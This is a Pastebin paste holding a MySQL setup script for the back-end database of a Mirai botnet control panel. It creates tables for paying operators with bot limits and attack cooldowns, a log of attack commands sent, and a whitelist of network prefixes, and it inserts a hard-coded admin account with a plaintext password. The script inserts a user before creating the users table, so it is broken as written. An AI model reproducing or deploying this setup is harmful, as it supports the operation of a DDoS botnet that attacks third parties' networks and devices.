Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- Create the database
- CREATE DATABASE IF NOT EXISTS mirai;
- -- Use the database
- USE mirai;
- -- Create a new user with root privileges if necessary
- -- Note: This may require admin privileges on your MySQL server
- -- CREATE USER 'root'@'localhost' IDENTIFIED BY 'root';
- -- GRANT ALL PRIVILEGES ON mirai.* TO 'root'@'localhost';
- -- Insert a user into the users table
- INSERT INTO users (username, password, duration_limit, cooldown, wrc, last_paid, max_bots, admin, intvl, api_key)
- VALUES ('anna-senpai', 'myawesomepassword', NULL, 0, NULL, 0, -1, 1, 30, '');
- -- Create the history table
- CREATE TABLE IF NOT EXISTS `history` (
- `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
- `user_id` INT(10) UNSIGNED NOT NULL,
- `time_sent` INT(10) UNSIGNED NOT NULL,
- `duration` INT(10) UNSIGNED NOT NULL,
- `command` TEXT NOT NULL,
- `max_bots` INT(11) DEFAULT '-1',
- PRIMARY KEY (`id`),
- KEY `user_id` (`user_id`)
- ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
- -- Create the users table
- CREATE TABLE IF NOT EXISTS `users` (
- `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
- `username` VARCHAR(32) NOT NULL,
- `password` VARCHAR(64) NOT NULL, -- Increased length for more secure passwords
- `duration_limit` INT(10) UNSIGNED DEFAULT NULL,
- `cooldown` INT(10) UNSIGNED NOT NULL,
- `wrc` INT(10) UNSIGNED DEFAULT NULL,
- `last_paid` INT(10) UNSIGNED NOT NULL,
- `max_bots` INT(11) DEFAULT '-1',
- `admin` TINYINT(1) UNSIGNED DEFAULT '0', -- Changed to TINYINT for boolean-like use
- `intvl` INT(10) UNSIGNED DEFAULT '30',
- `api_key` TEXT,
- PRIMARY KEY (`id`),
- UNIQUE KEY `username` (`username`) -- Enforced uniqueness on usernames
- ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
- -- Create the whitelist table
- CREATE TABLE IF NOT EXISTS `whitelist` (
- `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
- `prefix` VARCHAR(16) DEFAULT NULL,
- `netmask` TINYINT(3) UNSIGNED DEFAULT NULL,
- PRIMARY KEY (`id`),
- KEY `prefix` (`prefix`)
- ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement